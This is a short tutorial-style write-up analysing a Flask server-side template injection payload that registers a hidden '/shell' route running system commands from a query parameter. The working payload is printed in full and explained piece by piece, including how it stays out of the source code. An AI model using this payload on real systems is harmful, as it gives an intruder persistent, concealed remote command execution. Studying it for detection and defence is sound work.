Analysis of flask memory webshell

NOTICE

Before analysis , I assumed that you know the princple of SSTI and now how to find the exploit chain.You should know url_for.__globals__ could find global variables in current app.

Introduction

In the previous passage I’ve introduced memory webshell in flask and implemented it,so in this passage I’ll analyse the procedure of a web request which request flask and make sense how to generate a memory shell.

Analysis

This is a EXP in Flask SSTI vulnerability which could register a route and execute system command.

1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

There are some complex functions and variables in the PoC,I’ll explain it.
From SSTI we can reach eval function to execute python command,such as eval(“__import__(‘os’).popen(‘whoami’).read()”)paste image
function add_url_rule() is used for adding route,such as add route in flask app.

1
add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options)

Briefly,we can pass parameter to this function to register route and define the handle function.
Usually we can pass(‘/shell’,’shell’,lambda:xxxx_lambda_function_code) to this function to register a route /shell and define the handle founction.
In this demo,the lambda function could receive parameter from front-end and execute system command.It looks like this:

1
2
3
4
5
6
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)

This lambda function could receive and handle the parameter passed from front-end and execute it.Until now I didn’t explain variables like request_ctx_stack 、app、current_app.

request_ctx_stack like a stack structure, every web request will be pushed into this stack and pop 、handle it.
So, in this EXP it(request_ctx_stack.top) represents the current request object,just like in your flask app’s every handle function in route to handle the current request!

request.args.get() is used for get the parameter’s value from front-end,juset need the parameter name and the default value is whoami in this EXP.

In eval function, we noticed that there is a variable called app, but now we don’t now what is app.But we know that we can pass parameters and values by eval via dict format in python, so we can pass paramater what we used like app,request_ctx_stack.

We have analysed all the EXP, so we can generate a memory webshell now:)
paste imageno new route was found in source code:)paste image

Reference

https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/
https://segmentfault.com/blog/myflask
https://www.cnblogs.com/bigox/p/11652859.html
https://englndcib.blogspot.com/2021/08/python-lambda.html